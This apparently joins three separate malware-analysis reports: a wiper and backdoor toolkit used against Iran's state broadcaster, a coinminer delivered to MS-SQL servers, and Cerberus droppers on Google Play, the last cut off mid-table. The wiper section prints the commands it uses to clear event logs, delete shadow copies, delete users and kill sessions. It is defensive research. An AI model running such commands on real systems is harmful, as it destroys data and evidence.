In July 2021, an attack hit the Iranian national railway and cargo services, causing “unprecedented disruptions” to the country’s trains. Just a day later, media outlets reported that the website of Iran’s Ministry of Roads and Urban Development, in charge of transportation, was taken down in a ‘cyber disruption’, preventing access to their official portal and sub-services. The previously unknown group called ‘Predatory Sparrow’ quickly claimed responsibility for the attacks. Check Point Research investigated these attacks and found similar tactics and techniques were used in previous operations against private companies in Syria, linking all of those attacks to an anti-regime group called Indra.
Since then, cyber-attacks continue to hit national Iranian entities. Inspecting the targets, it appears that each one was carefully selected to send a tailored message. In August 2021, the hacktivist group Tapandegan, previously known for hacking and displaying protest messages on the electronic flight arrival and departure boards in the Mashad and Tabriz international airports in 2018, released security camera footage from the Evin prison, a Tehran facility in which many political prisoners are held. The videos, which show prisoner abuse, were acquired by a group called Edalat-e Ali (‘Ali’s justice’) in protest against human rights violations. In October 2021, every gas station in Iran was paralyzed by an attack that disrupted the electronic payment process. The incident led to extremely long queues at gas stations for two days and prevented customers from paying with the government-issued electronic cards used to purchase subsidized fuel. When the card was swiped for payment, the Supreme Leader office phone number appeared on the screen, taunting the highest-ranking office in the regime yet again. Iranian officials claimed that foreign actors, such as Israel and the US, were behind the attack. However, Predatory Sparrow claimed responsibility for this attack as well.
In November 2021, Iranian airline Mahan Air announced that it foiled an attempted attack against its internal systems, with no harm done. Curiously, this time a group called ‘Hooshyaran-e Vatan’ (Vigilant of the Nation) claimed responsibility, and over the next two months published documents allegedly stolen in the hack that link the airline to the IRGC (Islamic Revolutionary Guard Corps).
Recently, on February 7, 2022, the Edalat-e Ali group released footage from closed-circuit cameras in another Iranian prison, Ghezel Hesar.
### The Voice and Vision of the Islamic Republic of Iran
On January 27, only two weeks before the anniversary of the 1979 Islamic Revolution, reports were published that the IRIB, Iran’s national broadcaster, was hacked. The Islamic Republic of Iran Broadcasting, also called ‘The Voice and Vision of the Islamic Republic of Iran’, is a state-operated monopoly in charge of all radio and television services in Iran. The cyberattack resulted in state-run TV channels broadcasting what was described by IRIB officials as “the faces and voices of hypocrites.” ‘Hypocrites’ is a term used by the Iranian regime to refer to the Mujahedin-e-Khalq (MEK), an exiled militant organization and the biggest political opposition group, which advocates overthrowing the current regime and installing its own government, relying on an alternative interpretation of Islam. In the hijacked video, the faces of MEK leaders Maryam and Masoud Rajavi appeared, followed by the image of Ayatollah Khamenei crossed out with red lines and the declaration “Salute to Rajavi, death to (Supreme Leader) Khamenei!” The deputy head of technical affairs for IRIB, Reza Alidadi, stated that “only the owners of the technology in use by the corporation would have been able to carry out an attack relying on the system features installed on the systems and the exploited backdoor.” He further stated that similar attacks have hit other state-operated radio channels.
Although not part of this investigation, it is worth mentioning that several days later, on February 1, the web-based streaming platform of IRIB, Telewebion, was hijacked yet again to broadcast protest messages urging citizens to rise up against the Supreme Leader and stating that “the regime’s foundations are rattling.” Cleverly, the incident took place in the middle of a live broadcast of the Iran-UAE soccer match. This time, the politically motivated group Edalat-e Ali, responsible for the attacks targeting prison facilities’ security cameras, claimed responsibility. This claim is plausible, as the video broadcast during the hack features the group’s logo on the top left corner.
### IRIB attack artifacts
According to Iranian state-run news network Akharin Khabar (Latest News), “the technical and broadcasting systems are completely isolated, they are equipped with acceptable security protocols and are not accessible via the Internet.” In the same post, it was reported that security forces associated with the regime’s state broadcasting network considered sabotage as the most likely scenario, with the Iranian officials calling the attack “extremely complex.”
It is still not clear how the attackers gained initial access to these networks. We were able to retrieve only the files related to the later stages of these attacks, responsible for:
- Establishing backdoors and their persistence.
- Launching the “malicious” video or audio track.
- Installing the wiper malware in an attempt to disrupt operations in the hacked networks.
All of these samples were uploaded to VirusTotal (VT) from multiple sources, mostly with Iranian IPs, and included short batch scripts that install or launch payloads, several forensics artifacts like Windows Event Log files or memory dumps, and the payloads themselves. The latter are mostly .NET executables, with no obfuscation but a timestamped compilation date in the future. In addition to having the same language and same VT submitters, these files also share other similarities, such as PDB paths, common commands, names, code reuse, and general coding style.
### Hijacking broadcast signals
From the MP4 video file that was used to interrupt the TV stream, and was uploaded to VT as TSE_90E11.mp4, we were able to pivot to other artifacts related to the broadcast hijacking, supposedly run on servers that broadcast TV programs (playouts). To play the video file, the attackers used a program called SimplePlayout.exe, a .NET-based executable compiled in debug mode with the PDB path c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb. This executable has a single functionality: to play a video file in a loop using the .NET MPlatform SDK by Medialooks.
First, the SimplePlayout program looks for a configuration file called SimplePlayout.ini which contains two lines: the video file path and a number representing the video format. The respective SimplePlayout.ini file uploaded together with SimplePlayout specifies the values that correspond to the MP4 file located at c:\windows\temp\TSE_90E11.mp4 and a video format of HD 1080i with a refresh rate of 50 Hz.
To kill the video stream already playing, the attackers used a batch script called playjfalcfgcdq.bat. It kills the running process and deletes the executable of TFI Arista Playout Server, a software which the IRIB is known to use for broadcasting, and subsequently uninstalls the Matrox DSX driver, a part of the software for media processing in virtualized broadcast infrastructures.
To combine all the malicious components, another script layoutabcpxtveni.bat does several things:
- Renames the MP4 video file located at c:\windows\temp\TSE_90E11.003 to TSE_90E11.mp4. This file was probably dropped there by one of the backdoors, which we discuss later.
- Kills the running process of QTV.CG.Server.exe, possibly a part of Autocue QTV broadcasting software, and overwrites the original server located at D:\CG 1400\QTV.CG.Server.exe with SimplePlayout, the tool used by the attackers to play their video.
- Copies c:\windows\SimplePlayout.exe to SimplePlayout.ini in the same directory where QTV.CG.Server.exe resides. At least this sample of the batch script contains a typo, as the actors probably meant to copy SimplePlayout.ini next to the malicious executable.
- Runs SimplePlayout.exe from both the initial and replaced locations.
In another set of related artifacts that we discovered, the attackers utilize the WAV file containing the 25 seconds audio track titled TSE_90E11.001, similar to the file name of the MP4 file used in the hijacked TV stream. An executable called Avar.exe is based on NAudio, an open-source .NET audio library, and is responsible for playing the WAV file. Unlike the SimplePlayout.exe, Avar.exe does not rely on the configuration file. Instead, it contains the path to the WAV file hardcoded as C:\windows\temp\TSE_90E11.001. After it executes, Avar.exe attempts to enumerate through all active audio devices and play the WAV file on each one.
Finally, a batch script named avapweiguyyyw.bat puts the pieces together. It kills a process called ava.exe and replaces the executable at C:\Program Files\MIT\AVA\ava.exe with Avar.exe. The use of the name Ava in the files and folders might suggest that these files were intended for IRIB’s AVA radio, although the fact it was also impacted by this attack has not been confirmed officially.
### The Wiper
We found two identical .NET samples named msdskint.exe whose main purpose is to wipe the computer’s files, drives, and MBR. This can also be deduced from the PDB path: C:\work\wiper\Wiper\obj\Release\Wiper.pdb. In addition, the malware has the capability to clear Windows Event Logs, delete backups, kill processes, change users’ passwords, and more. Both samples were uploaded to VT by the same submitters and in the same timeframe as the previously discussed artifacts.
The wiper has three modes to corrupt the files and fills the bytes with random values:
- default – Overwrite the first 200 bytes of each chunk of 1024 bytes in the file.
- light-wipe – Overwrite a number of chunks specified in the configuration.
- full_purge – Overwrite the entire file content.
The wiper gets its configuration for the wiping process in one of these ways: in command-line arguments, or from the hardcoded default configuration and exclude list in the file mecikwipe.ini. The default configuration contains a pre-defined list of exclusions related to Windows OS and Kaspersky and Symantec security products, which are widely used in Iran:
```
-light-wipe", "3",
"-stop-iis",
"-logs",
"-shadows",
"-processes",
"*sql",
"-mbr",
"-fork-bomb",
"-wipe-all",
"-wipe-stage-2",
"-wipe-exclude", "C:\\Windows",
"-wipe-exclude", "C:\\$Recycle.Bin",
"-wipe-exclude", "C:\\$WinREAgent",
"-wipe-exclude", "C:\\Config.Msi",
"-wipe-exclude", "C:\\Recovery",
"-wipe-exclude", "C:\\Program Files\\IBM\\*",
"-wipe-exclude", "C:\\System Volume Information",
"-wipe-exclude", "C:\\Program Files\\Symantec*",
"-wipe-exclude", "C:\\Program Files (x86)\\Symantec*",
"-wipe-exclude", "C:\\Program Files\\Kaspersky*",
"-wipe-exclude", "C:\\Program Files (x86)\\Kaspersky*",
"-wipe-exclude", "C:\\Program Files\\Microsoft*",
"-wipe-exclude", "C:\\Program Files (x86)\\Microsoft*",
"-wipe-exclude", "C:\\Program Files\\Windows*",
"-wipe-exclude", "C:\\Program Files (x86)\\Windows*"
```
If the malware has no arguments, it runs as a service named “Service1”. The main wiper function computes the FNV1A32 hash of every argument and uses that to determine the action:
| Arguments | Options | Action |
|------------------|---------------------------------|--------|
| “-mbr” | – | Enable DestroyMBR flag |
| “-fork-bomb” | – | Start two more instances of the wiper, with the “-fork-bomb” argument as well |
| “-sessions” | – | Kill other users sessions with the cmd commands: logoff {0} and rwinsta {0} |
| “-delete-users” | file_path or list of users | Delete the specified users using the cmd command: net user {0} /delete (* = all users) |
| “-break-users” | file_path or list of users | Break the specified users by changing their password to an 8-bytes random string appended with “aA1!” (* = all users) |
| “-logs” | – | Delete events from Windows Event Log using the cmd command: for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" |
| “-passwords” | – | None |
| “-shadows” | – | Destroy shadow copies using the cmd command: echo delete shadows all > 1.s && diskshadow /s 1.s && del 1.s |
| “-start-iis” | – | Start Internet Information Services (IIS) with iisreset /start |
| “-stop-iis” | – | Stop Internet Information Services (IIS) with iisreset /stop |
| “-config” | file_path | Read the arguments from the specified config file |
| “-light-wipe” | size | Corrupt only specified size of 1024-byte chunks in a file |
| “-wipe-exclude” | list of directories | Add the directories that the wiper won’t wipe |
| “-delete” | – | Enable delete_files flag which means deleting the files after their corruption |
| “-processes” | file_path or list of processes | Kill the specified processes using the cmd command: taskkill /PID {0} /f |
The DestroyMBR flag enables the malware to wipe the MBR by writing a hardcoded base64-encoded binary to the file precg.exe and then running it. precg.exe is an MBRKiller based on the Gh0stRAT MBR wiper.
The main wiping procedure starts by searching for the last file that was wiped. The malware writes its path to the file named lastfile (or lastfile2 in the case of wipe_stage_2). Then, every file is checked to see if it is excluded or its extension is not in the predefined list:
```
.accdb, .cdx, .dmp, .h, .js, .pnf, .rom, .tif, .wmdb, .acl, .cfg, .doc, .hlp,
.json, .png, .rpt, .tiff, .wmv, .acm, .chk, .docx, .hpi, .lnk, .pps, .rsp,
.tlb, .xdr, .amr, .com, .dot, .htm, .log, .ppt, .sam, .tmp, .xls, .apln, .cpl,
.drv, .html, .lst, .pptx, .scp, .tsp, .xlsx, .asp, .cpx, .dwg, .hxx, .m4a,
.pro, .scr, .txt, .xml, .avi, .dat, .eml, .ico, .mid, .psd, .sdb, .vbs, .xsd,
.ax, .db, .exe, .inc, .nls, .rar, .sig, .wab, .zip, .bak, .dbf, .ext, .ini,
.one, .rar, .sql, .wab~, .bin, .dbx, .fdb, .jar, .pdf, .rdf, .sqlite, .wav,
.bmp, .dll, .gif, .jpg, .pip, .resources, .theme, .wma, .config, .mxf, .mp3,
.mp4, .cs, .vb, .tib, .aspx, .pem, .crt, .msg, .mail, .enc, .msi, .cab, .plb,
.plt
```
The full_purge mode that overrides all the bytes of the file is always enabled for the files from the purge_extensions list:
```
.json, .htm, .log, .html, .lst, .txt, .xml, .vbs, .inc, .ini, .sql
```
If the delete_files flag is enabled, the wiper also deletes the files after overwriting them. We found additional forensics artifacts, submitted together with the wiper samples, that prove that the wiper was indeed executed in a TV environment:
- The lastfile2 containing the path to the last wiped file: C:\users\tpa\videos\captures\desktop.ini. This file is created only if the wiper was run in wipe_stage_2 mode, which deletes the files after the wiping procedures.
- The breakusufjkjdil.bat file, which shows that at least one instance of the wiper was supposed to run with the intent to kill existing user sessions and change passwords for all the users: "c:\windows\temp\msdskint.exe" -break-users * -sessions.
- The Event Viewer Application log file shows events related to the wiper service Service1. The logs contain a timestamp which is a few hours after the attack.
### Backdoors
#### WinScreeny
The name of this tool comes from the PDB path: C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb. The main purpose of the backdoor is to make screenshots of the victim’s computer. We found two samples of this backdoor: the first one is the release version uploaded to VT with the name mslicval.exe, and the second one is the debug version named precg2.exe. The backdoor can be run in different ways, based on the command-line argument:
- None – Runs a SimpleTCPServer that listens on port 18000.
- service – Runs as a service named Service1. At start, the service creates a scheduled task with the command: schtasks /create /TN "Microsoft\Windows\.NET Framework\.NETASM"/TR "<file_path>" /ST <current_time + 1:10> /SC ONCE /F.
- setup – Tries to gain privileges using the LsaAddAccountRights API function and then run itself as a service.
The malware listens for packets on port 18000, and for each packet, it checks if the message contains the scr= command sent with the POST method. If these conditions are met, the malware saves a screenshot to a file named screeny-<timestamp>.png and a “done” message is returned to the attacker if it succeeded.
#### HttpCallbackService
HttpCallbackService is a Remote Administration Tool (RAT) with a familiar PDB path: C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService.pdb. Its C&C URL can be specified in two different ways: a command-line argument or the configuration file callservice.ini. Next, the received value is appended with a short string: ?m= if the URL ends with “.aspx” or “.php”; m=, if the URL ends with “/”, or /m= in any other case. Unfortunately, we didn’t find any configuration or other artifacts related to HttpCallbackService, so the C&C server in this attack remains unknown.
Every 5 seconds, HttpCallbackService sends a request to the C&C URL using the webClient.DownloadString method to receive the list of commands split by ‘\r\n’. If the malware doesn’t receive any commands in the last 5 minutes and the isStayAliveMode flag is disabled, this time frame is increased to 1 minute.
| Command | Arguments | Action |
|------------------|------------------------------|--------|
| “upload” | upload_path, base64-encoded content | Upload a file to the victim’s computer. The server may send the file in chunks, each of them sequentially decoded from base64 and appended to the file |
| “download” | file name | Download file from the victim’s computer to C&C server, the file is base-64 encoded and sent in chunks of 102400 bytes |
| “stay-alive” | – | Enable isStayAliveMode flag and change the timer to 5 seconds |
| “cool-down” | – | Disable the isStayAliveMode flag |
When the results of the commands are uploaded to the server, the data is sent to a slightly different URL: the C&C URL defined previously, now appended with “1”. The data is sent using the WebClient.UploadValues method in the following format:
- download=<file_name>\r\n--------------\r\n<base64 of chunk> for the download command
- <command>\r\n--------------\r\n<result> for the cmd command.
#### HttpService
HttpService is another backdoor that listens on a specified port: it can be a command-line argument, the pre-defined port depending on the sample, or the value from the configuration file: <exe_name>.ini. We found several samples with the default ports 19336, 19334, 19333, as well as two different configuration files uploaded to VT, with 19336 and 19335 values. Each sample has a hardcoded version. The files that we discovered belong to three different versions: 0.0.5, 0.0.11v4H and 0.0.15v4H. The version 0.0.5 listens to the specified port with a Simple TCP server, whereas 0.0.11v4H and 0.0.15v4H are based on the Simple HTTP Server. All of them use the HTML Agility Pack for HTML parsing and IonicZip library for compression actions.
The highest version (0.0.15v4H) of the backdoor has multiple capabilities, including command execution and manipulation with the files.
Command execution: The command “cmd” makes the backdoor run the specified command with cmd.exe and return the result in this format: <div style='color: red'><result_string></div>. In addition, the backdoor can launch an interactive cmd shell when it receives the “i=” command, whose arguments can be:
- “1” – Get the output from the shell and send it back to the C&C.
- “2” – End the interactive shell and clean up.
- default – Decode and decrypt the XORed string and then run the command in the shell and save the output.
Similar to WinScreeny, the malware also has the “s=” command with the string XORed with 1-byte key 0x24 as an argument. The decoded string is run by cmd.exe and the result is returned to the server.
Proxy connections: After the “p=” or “b=” command is received, the backdoor uses the victim’s computer as a proxy to the URL it gets as an argument. The backdoor communicates with this URL, redirects the request of the C&C server, and waits for a response to send it back to the C&C.
Download and upload files: The “f=” or “1=” command allows the backdoor to download a file from the path given as an argument or write a file given as an argument with the content of the message body. After it receives the “m=” command, the malware writes the body of the message to the path <base_directory><client_address>.out, reads data from <base_directory><client_address>.in, and sends it to the C&C. If the file does not exist, the malware creates the file and writes to it the current date and time.
Run SQL commands: The “con=” / “c=” command receives the SQL DB connection string and SQL query, and returns the result to the server.
Manipulate the local files: The “<path>” command checks if the file/directory exists and then does one of these three things, based on the query value:
- “zip” – Creates a zip file from the directory contents and returns it to the C&C.
- “unzip” – Unzips the file using the path provided by the C&C.
- “del” – Deletes the file.
Interestingly, in all three cases, the malware sends back the entire directory contents (including sub-directories) as an HTML page that contains the Zip, Unzip and Delete buttons, depending on the type of the file.
### ServerLaunch dropper
The sample of HttpServer version 0.0.5 was submitted together with its dropper, called dwDrvInst.exe, which mimics the remote access software executable by DameWare. The tool’s PDB path has the same pattern, C:\work\ServerLaunch\Release\ServerLaunch.pdb. However, the tool is written in C++, not .NET like all the others, and was compiled on December 2, 2021, almost 2 months prior to the attack.
ServerLaunch contains three executables in resources, which it drops to ionic.zip.dll, httpservice2 and httpservice4, all in C:\Users\Public\. The malware then starts both httpservice2 and httpservice4 with no arguments. Each of them has a different pre-defined port to listen on, which likely allows the attackers to ensure some sort of redundancy of the C&C communication.
### Connecting the files to the attack
We’ve discussed several different tools and some of artifacts related to their execution. It is clear that all these tools were created by the same actor and are connected. For example, the screenshot tool WinScreeny doesn’t contain the functionality to upload the created screenshots back to the attackers, which likely means that it relies on other backdoors to perform this operation. The recurring Service1 name for all the tools indicates that different backdoors, if running on the same machine, were mostly executed with command-line arguments or provided configuration files.
Taking into account that the samples are related to each other, we can substantiate the connection between these files and the IRIB cyberattack:
- The whole cluster of activity is interconnected and was submitted to VT mostly from Iranian IPs all at the same timeframe, likely by incident responders.
- The audio and video files utilized by the tools are the same as those broadcast live on hacked Iranian TV. The Twitter account @GhyamSarnegouni (“Uprising to overflow”) featured in this video contains a few recordings of different TV channels streams that feature both the video and the audio tracks we’ve discussed.
- Multiple artifacts such as Matrox DSX, Autocue QTV, TFI Arista Playout Server, etc. that were referenced in the samples indicate that these files were intended for a broadcast environment.
- Among the forensics artifacts submitted together with video and executables, we discovered Windows Event Viewer files that contain evidence that the samples were attempted to be executed in the Iranian TV network environment, a domain not resolved publicly. The timestamp of these specific logs is after the time of the actual incident.
- Numerous other forensics evidence from this VT file cluster contains other artifacts directly related to IRIB. For example, an internal tool called MIT_FreeSizeService (md5:307e7440a15c8eed720566f067a2e96b) bears the IRIB logo, and the memory dump of the MetaSAN software called executable.4504.exe (md5:1fc57ccec4668bbcbebaa9c734a437ba) features memory strings that indicate the software was run on the machine from the MIT-TV domain.
### Attribution
Iranian officials appear to be confident that MEK is behind this attack, with the deputy head of technical affairs for Islamic Republic of Iran Broadcasting claiming the same. However, the opposition group itself denies any involvement, stating that “the group had become aware of the incident only when it happened but that the hacking might have been the work of supporters in Iran.”
The hacktivist group Predatory Sparrow, which claimed responsibility for the attacks against the national railway services, the transportation ministry, and the Iranian gas stations, affiliated itself with the IRIB attack via its Telegram channel. On the morning before the attack, they wrote “Wait for the good news from our team. Do not switch the channel.” Later the same evening, they posted a video from one of the disrupted TV channels, introducing it as a “cyber-attack on the country’s radio and television organization by the Predatory Sparrow team.” Currently, no technical proof of the group’s attribution to the attack has been discovered. The video displayed on the channel is available online and refers to a different Telegram account @GhyamSarnegouni, so the claims should be treated with caution.
### Conclusion
In this article, we analyzed a set of tools that likely was used in a cyberattack against the IRIB, which disrupted several state-run TV and radio channels. The use of wiper malware in the attack against a state entity in Iran begs us to compare the tools with those belonging to Indra, who, among other attacks, is responsible for unleashing a wiper in the Iranian Railways and Ministry of Roads systems. Although these wipers are coded and behave very differently, some implementation details such as execution based on batch files, or the password changing patterns ([random sequence]aA1! for this attack and Aa153![random sequence] in Indra’s case), suggest that the attackers behind the IRIB hack may have been inspired by previous attacks happened in Iran.
As in the case with Indra, it appears that the actor may have many capabilities that have yet to be explored. On the one hand, the attackers managed to pull off a complicated operation to bypass security systems and network segmentation, penetrate the broadcaster’s networks, produce and run the malicious tools that heavily rely on internal knowledge of the broadcasting software used by victims, all while staying under the radar during the reconnaissance and initial intrusion stages.
On the other hand, the attackers’ tools are of relatively low quality and sophistication, and are launched by clumsy and sometimes buggy 3-line batch scripts. This might support the theory that the attackers might have had help from inside the IRIB, or indicate a yet unknown collaboration between different groups with different skills.
Meanwhile, almost two weeks after the attack happened, MEK-affiliated news published a status report of the attack claiming that the “regime’s radio and TV networks have not returned to a normal status” and provided an elaborate list of affected devices with the statement “more than 600 servers, advanced digital production, archiving, and broadcasting of radio and television equipment have been destroyed, and their software has been damaged.” There is no way for us to verify these claims, but if at least some of them are true, the extent of destruction caused by the wiper and other malicious tools that we’ve discovered (and those that are yet unknown), exceeded expectations.
## IOCs
### Attack files:
| hash | name | description |
|----------------------------------------------------------------------|----------------------------------|-------------|
| 1607f31ac66dfec739dc675ade921582acb8446c2ac7d6d1bc65a3e993fc5b54 | msdskint.exe | Wiper |
| 42ed646eed4f949c456c637a222e7d94dd8ac67ed5ebda5e63c7b7979076d9cf | msdskint.exe | Wiper |
| 8bdf6e262966a59a7242d279e511dd694467f07d1d76c456a0c26d0db2ec48a8 | HttpService2.exe | HttpService |
| 427c105859c3dc62ece790e41a42b0f6ae587496a07d3bd190143179cdf6c6bd | HttpService4.exe | HttpService |
| e3d61cbbfbe41295dd52acff388d1d8b1d414a143d77def4221fd885aae6cd83 | HttpService2.exe | HttpService |
| 096bae94e09059e2e3106503353b1b4f7116fa667600ca2ab3fa7591708e645a | HttpService4.exe | HttpService |
| 13a016b8f502c81e172c09114f25e4d8a8632768aefd56c5f6d147e9b6466216 | HttpService4.exe | HttpService |
| ea740894227ae1df923997edb7bda3a00f523fbff7cc02d3b5e6b3de19d672fc | HttpCallbackService.exe | HttpCallbackService |
| 62b692be251feb63af2723a68975976b749cab20014ffaa6488af80f4f03e0a1 | dwDrvInst.exe | ServerLaunch |
| 41e0c19cd6a66b4c48cc693fd4be96733bc8ccbe91f7d92031d08ed7ff69759a | precg2.exe | Winscreeny |
| e9e4a8650094e4de6e5d748f7bc6f605c23090d076338f437a9a70ced4a9382d | mslicval.exe | Winscreeny |
| d788ebc7ee98c222f46d7ca2347027643784a78b5954c9a31734ec1b197bc2aa | Avar.exe | Avar |
| 1155dd06e0b108bde3addcdbd5d1da4dc18ca245c39ce7d967f8971eb0f88dbb | SimplePlayout.exe | SimplePlayout |
| a25215c9adce51a3ecfe34c802d3e7d865cf410ddbe10101e3b41f6ba11347a4 | TSE_90E11.mp4 | MP4 video file |
| 4cc21810d786dca94e01d0714d37e3f097ff6e3813bf6e17a9bd86cd9a4ceb2b | TSE_90E11.001 | WAV file |
| 7ea7b20b87ded3c297ec0890ee8a396427d70caf983b42f479d8fad38629b684 | playoutabcpxtveni.bat | |
| bc8de80a28c8ae55415ccdfece270f6548f067fc2a00e799baf0279d4d560807 | breakusufjkjdil.bat | |
| 197f13580ec249fa84b1e54f978c5cab60f22561a2fab2ff60bdb2d5bfa25512 | avapweiguyyyw.bat | |
| efc8f12c53d1730fa8ac00cfa60e63ab43d90f42879ef69d7f6fb9978246f9cb | playjfalcfgcdq.bat | |
| a2d493c2cb25fc03f5d31cf3023b473d71d38b972eccdb7873f50d2344ea7753 | simpleplayout.ini | |
| c305b3cb96a34258a3e702526de6548b2de99449c0839a9aea518accc7c861ab | 436748-HHttpService4.exe.ini | |
| 8b74c08c33cd8a0cc1eaf822caeaad6b54bc39e4839e575f3c0ece4bb8992408 | 436751-HHttpService4_2.exe.ini | |
### Forensics artifacts:
| hash | name | description |
|----------------------------------------------------------------------|--------------------|-------------|
| 0daa0aefdc6d0641eb06e62bc8c92a0696aa8089258cb2d3552ac137d53237ec | sec.evtx | security event log from one of the machines |
| a3b9bd57e6b281610e570be87883d907992bdf7be3bcd37885ee2cf97d930cd3 | application.evtx | applications event log from one of the machines |
| 067ae6ecfd108a79a32eb1a76a262868d8f3a9a7924b26091f0e2229152bdd9d | lastfile2 | path to the last file wiped and deleted by the wiper | |
# CoinMiner Being Distributed to Vulnerable MS-SQL Servers
February 28, 2022
The ASEC analysis team is constantly monitoring malware distributed to vulnerable MS-SQL servers. The previous blogs explained the distribution cases of Cobalt Strike and Remcos RAT, but the majority of the discovered attacks are CoinMiners.
This blog will explain a specific form of CoinMiner that has been consistently distributed since last year up until now, which also makes up the majority of attacks. According to AhnLab’s ASD infrastructure, in systems installed with this specific CoinMiner, detection logs of Vollgar CoinMiner are also being found. Vollgar is a typical CoinMiner that is installed via brute force attacks against MS-SQL servers with vulnerable account credentials, and it appears that the CoinMiner of focus will also use the same method.
The precise attack method and the command that was used cannot be confirmed, but according to the collected logs of file creation and execution, the attacker first created a sqlbase folder in the MS-SQL data folder (E.g. %ProgramFiles%\microsoft sql server\mssql13.mssqlserver\mssql\data) and created a malware named SqlBase.exe in the path. The malware is then created and executed in the path by the sqlservr.exe, which is a MS-SQL server process.
SqlBase.exe is a downloader malware of a simple form developed with .NET, which downloads settings data and CoinMiner from C&C server and installs them.
The settings data is downloaded from the URL below, but as it is encrypted with Base64 and AES, it needs to be decrypted.
**Settings data download URL:** hxxp://dl.love-network[.]cc/config.txt
The decrypted data is in XML format and contains the version information and the argument that will be used when executing XMRig CoinMiner.
It then downloads XMRig malware packed with VMP from the following URL. The data.mdf file is a compressed file in the zip format, and it contains XMRig CoinMiner. SqlBase.exe decompresses XMRig in the same path under the name of sqlconn.exe.
**XMRig download URL:** hxxp://dl.love-network[.]cc/data.mdf
The compressed data.mdf file disguised by the attacker has the mdf extension, which is a primary data file used in MS-SQL. Upon looking at the actual MS-SQL data folder %ProgramFiles%\microsoft sql server\mssql13.mssqlserver\mssql\data\, numerous MS-SQL related data files such as mdf files and ldf (log file) can be seen.
When all the processes above are over, it assigns hidden and system properties to the XMRig file and executes XMRig along with the user account credentials and URL of the argument of the settings data obtained above (a.k.a the mining pool) to perform mining in the infected system.
Typical attacks that target MS-SQL servers include brute force attacks and dictionary attacks to systems where account credentials are poorly managed. Although it seems like these methods make up the majority of the attacks, there can be vulnerability attacks against systems where their vulnerability has not been patched.
Because of this, administrators should use passwords that are difficult to guess for their accounts and change them periodically to protect the database server from brute force attacks and dictionary attacks, and maintain the latest patch to prevent vulnerability attacks. Administrators should also use security programs such as firewalls for database servers accessible from outside to restrict access of external attackers.
The following are paths where the SqlBase.exe file, the initial malware installed by the attacker, was created in. These show the MS-SQL systems that were targeted for attack.
- %ProgramFiles%\microsoft sql server\mssql13.mssqlserver\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql12.sqlexpress\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql10_50.d*****20\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql10_50.d*****016\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql10_50.i***e\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql10_50.i*****20\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles%\microsoft sql server\mssql14.d*****e\mssql\data\sqlbase\sqlbase.exe
- %ProgramFiles% (x86)\microsoft sql server\mssql10_50.o—em\mssql\data\sqlbase\sqlbase.exe
MS-SQL is sometimes manually downloaded for a certain purpose, but it can also be installed by other programs that need a database management system. Upon looking at the logs above, it appears that other than the paths of normal MS-SQL servers, MS-SQL servers that have been installed by ERP and work-purpose solutions were targeted for attack as well.
As MS-SQL installed by other work-purpose programs can be attacked as well as manually-installed MS-SQL, users must pay attention to vulnerability patching and account management.
AhnLab detects and blocks the malware above using the aliases below.
**[File Detection]**
- CoinMiner/Win.Agent.C4420300 (2021.04.24.00)
- CoinMiner/Win.LoveMiner.R472804 (2022.02.16.01)
- CoinMiner/Win.XMRig.R424798 (2021.08.07.00)
**[IOC]**
**MD5**
- SqlBase.exe : fe3659119e683e1aa07b2346c1f215af
- sqlconn.exe : b11d7ac5740401541bc1be33dd475e00
**XMRig Mining Pool**
- serv1.love-network[.]cc:2082
**Download**
- hxxp://dl.love-network[.]cc/config.txt
- hxxp://dl.love-network[.]cc/data.mdf
**Categories:** Malware Information
**Tagged as:** BruteForcing, CoinMiner, LoveMiner, MS-SQL, MSSQL, XMRig |
# Apps on Google Play Tainted with Cerberus Banker Malware
The official Android app market has traditionally been regarded as a safe place to install applications. However, malicious apps occasionally slip through and wreak havoc before being spotted and removed. This blog post focuses on several utility apps that appear innocent but are designed to download and enable various banker Trojans, assisting hackers in emptying victims’ accounts.
These apps were identified on Google Play by our machine learning algorithms. They belong to different categories, primarily marketed as health and sports companions. Their presence on Google Play dates back to February 2020, with the most recent ones published just days ago. As of this report, several samples are still available on third-party stores, with the more popular ones having been downloaded over 10,000 times.
Bitdefender detects this threat as `Android.Trojan.Downloader.UT`.
## Behavior
These applications partially deliver the advertised functionality. However, they communicate with a server, which decides whether to allow the app to download a malicious APK. If the APK is available, the application will attempt to lure the user into granting it Accessibility rights. If granted, the app will install the payload and enable the payload’s accessibility service.
The apps communicate with the server by sending device information (such as country, package name, build version, and model) as an app registration request, receiving an app token in return. This token is used in all subsequent requests to the server, which provides a link to the APK file for later download.
The initial apps aim solely to download the payload app. Once the payload app is installed, the original app enables accessibility services for the second app. Interestingly, after the downloaded APK is installed and its accessibility service is enabled, the original app disables its own accessibility abilities to avoid raising suspicions, continuing to function as described in its Play Store listing.
A new app named Web View appears briefly in the background while the downloader uses the accessibility service to enable the payload.
At this point, the first app is no longer of interest, and the second app takes charge of the device’s infestation. The droppers continue to offer features advertised on Google Play, listening for certain intents (e.g., BOOT_COMPLETED) and can even hide their launcher if prerequisites are met. The downloaded apps are various banking malware applications in the Cerberus family. With accessibility permissions already granted, they proceed to obtain all necessary permissions, set themselves as device admins, and even as default SMS apps, gaining full control over the device.
## Versions
The apps can be divided into two categories:
- **V1**: `com.radiofun.app` and `me.maxdev.popularmoviesapp`
The first version of the malware is less obfuscated and mainly uses Base64 for encryption. It dates back to February 2020.
- **V2**: The others
The second version uses a different obfuscation technique and first appeared in June 2020. It is stripped of most debugging information present in version 1, with more advanced communication with the server for better control of the payload installation.
## Origin
To hinder investigations, the malware authors publish the malicious apps through several different developer accounts.
| Developer Name | Email Address | Last Update |
|----------------|---------------|-------------|
| Nouvette | [email protected] | 3 September 2020 |
| Piastos | [email protected] | 23 June 2020 |
| Progster | [email protected] | 3 July 2020 |
| imirova91 | [email protected] | 4 July 2020 |
| StokeGroove | [email protected] | 19 August 2020 |
| VolkavStune | [email protected] | 27 February 2020 |
